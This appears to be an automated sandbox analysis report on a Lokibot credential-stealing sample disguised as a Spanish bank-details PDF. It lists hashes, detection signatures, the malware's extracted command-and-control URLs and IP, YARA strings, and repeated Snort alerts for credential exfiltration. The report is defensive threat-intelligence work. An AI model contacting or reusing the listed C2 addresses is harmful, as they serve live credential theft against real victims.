Play interactive tour

Edit tour

Windows Analysis Report Detalles del banco.pdf.exe

Overview

General Information

Sample Name:	Detalles del banco.pdf.exe
Analysis ID:	455130
MD5:	3965feca216cde849f987b614794b46c
SHA1:	d5fd435edf3348930b1500d9b10b3b010b07ef99
SHA256:	c05b0bc3cde94be7a27b27040cd40864671e9d2be0a0d64fa0865454feaf2190
Tags:	exelokibot
Infos:
Most interesting Screenshot:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: Suspicious Double Extension

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM3

Yara detected Lokibot

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to steal Mail credentials (via file registry)

Uses an obfuscated file name to hide its real file extension (double extension)

Yara detected aPLib compressed binary

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Detalles del banco.pdf.exe (PID: 6408 cmdline: 'C:\Users\user\Desktop\Detalles del banco.pdf.exe' MD5: 3965FECA216CDE849F987B614794B46C)

Detalles del banco.pdf.exe (PID: 7120 cmdline: {path} MD5: 3965FECA216CDE849F987B614794B46C)

Detalles del banco.pdf.exe (PID: 7128 cmdline: {path} MD5: 3965FECA216CDE849F987B614794B46C)

cleanup

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "https://zamloki.xyz/des/co/tox.php"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.438586894.0000000003FC0000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.438586894.0000000003FC0000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000001.00000002.438586894.0000000003FC0000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000001.00000002.438586894.0000000003FC0000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x9bc5f:$des3: 68 03 66 00 00 0xa0050:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0xa011c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000001.00000002.435757075.0000000002F29000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x15033:$des3: 68 03 66 00 00 0x19430:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x194fc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: Detalles del banco.pdf.exe PID: 6408	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Detalles del banco.pdf.exe PID: 6408	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: Detalles del banco.pdf.exe PID: 6408	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: Detalles del banco.pdf.exe PID: 7128	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Detalles del banco.pdf.exe PID: 7128	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: Detalles del banco.pdf.exe PID: 7128	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.Detalles del banco.pdf.exe.4048c60.2.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13e78:$s1: http:// 0x17633:$s1: http:// 0x13e80:$s2: https:// 0x18074:$s2: \x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0 0x13e78:$f1: http:// 0x17633:$f1: http:// 0x13e80:$f2: https://
1.2.Detalles del banco.pdf.exe.4048c60.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.Detalles del banco.pdf.exe.4048c60.2.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.2.Detalles del banco.pdf.exe.4048c60.2.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
1.2.Detalles del banco.pdf.exe.4048c60.2.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
1.2.Detalles del banco.pdf.exe.4048c60.2.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
1.2.Detalles del banco.pdf.exe.4048c60.2.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x13278:$s1: http:// 0x16233:$s1: http:// 0x13280:$s2: https:// 0x16c74:$s2: \x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0 0x13278:$f1: http:// 0x16233:$f1: http:// 0x13280:$f2: https://
1.2.Detalles del banco.pdf.exe.4048c60.2.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
1.2.Detalles del banco.pdf.exe.4048c60.2.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
1.2.Detalles del banco.pdf.exe.4048c60.2.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
11.2.Detalles del banco.pdf.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.Detalles del banco.pdf.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
11.2.Detalles del banco.pdf.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
11.2.Detalles del banco.pdf.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
11.2.Detalles del banco.pdf.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
11.2.Detalles del banco.pdf.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.Detalles del banco.pdf.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
11.2.Detalles del banco.pdf.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
11.2.Detalles del banco.pdf.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
11.2.Detalles del banco.pdf.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 15 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Double Extension

Show sources

Source: Process started

Author: Florian Roth (rule), @blu3_team (idea): Data: Command: {path}, CommandLine: {path}, CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\Detalles del banco.pdf.exe, NewProcessName: C:\Users\user\Desktop\Detalles del banco.pdf.exe, OriginalFileName: C:\Users\user\Desktop\Detalles del banco.pdf.exe, ParentCommandLine: 'C:\Users\user\Desktop\Detalles del banco.pdf.exe' , ParentImage: C:\Users\user\Desktop\Detalles del banco.pdf.exe, ParentProcessId: 6408, ProcessCommandLine: {path}, ProcessId: 7120

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000001.00000002.438586894.0000000003FC0000.00000004.00000001.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "https://zamloki.xyz/des/co/tox.php"]}

Multi AV Scanner detection for domain / URL

Show sources

Source: zamloki.xyz	Virustotal: Detection: 6%			Perma Link
Source: http://zamloki.xyz/des/co/tox.php	Virustotal: Detection: 6%			Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: Detalles del banco.pdf.exe

ReversingLabs: Detection: 36%

Machine Learning detection for sample

Show sources

Source: Detalles del banco.pdf.exe

Joe Sandbox ML: detected

Source: Detalles del banco.pdf.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: Detalles del banco.pdf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\Detalles del banco.pdf.exe

Code function: 11_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

11_2_00403D74

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.6:49723 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49723 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49723 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.6:49724 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49724 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49724 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49725 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49725 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49725 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49726 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49726 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49726 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49727 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49727 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49727 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49728 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49728 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49728 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49729 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49729 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49729 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49730 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49730 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49730 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49733 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49733 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49733 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49736 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49736 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49736 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49738 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49738 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49738 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49740 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49740 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49740 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49742 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49742 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49742 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49744 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49744 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49744 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49746 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49746 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49746 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49747 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49747 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49747 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49749 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49749 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49749 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49751 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49751 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49751 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49752 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49752 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49752 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49753 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49753 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49753 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49754 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49754 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49754 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49755 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49755 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49755 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49756 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49756 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49756 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49757 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49757 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49757 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49758 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49758 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49758 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49759 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49759 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49759 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49760 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49760 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49760 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49764 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49764 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49764 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49767 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49767 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49767 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49768 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49768 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49768 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49769 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49769 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49769 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49770 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49770 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49770 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49771 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49771 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49771 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49772 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49772 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49772 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49773 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49773 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49773 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49774 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49774 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49774 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49775 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49775 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49775 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49776 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49776 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49776 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49777 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49777 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49777 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49778 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49778 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49778 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49779 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49779 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49779 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49780 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49780 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.6:49780 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.6:49781 -> 172.67.155.45:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.6:49781 -> 172.67.155.45:80
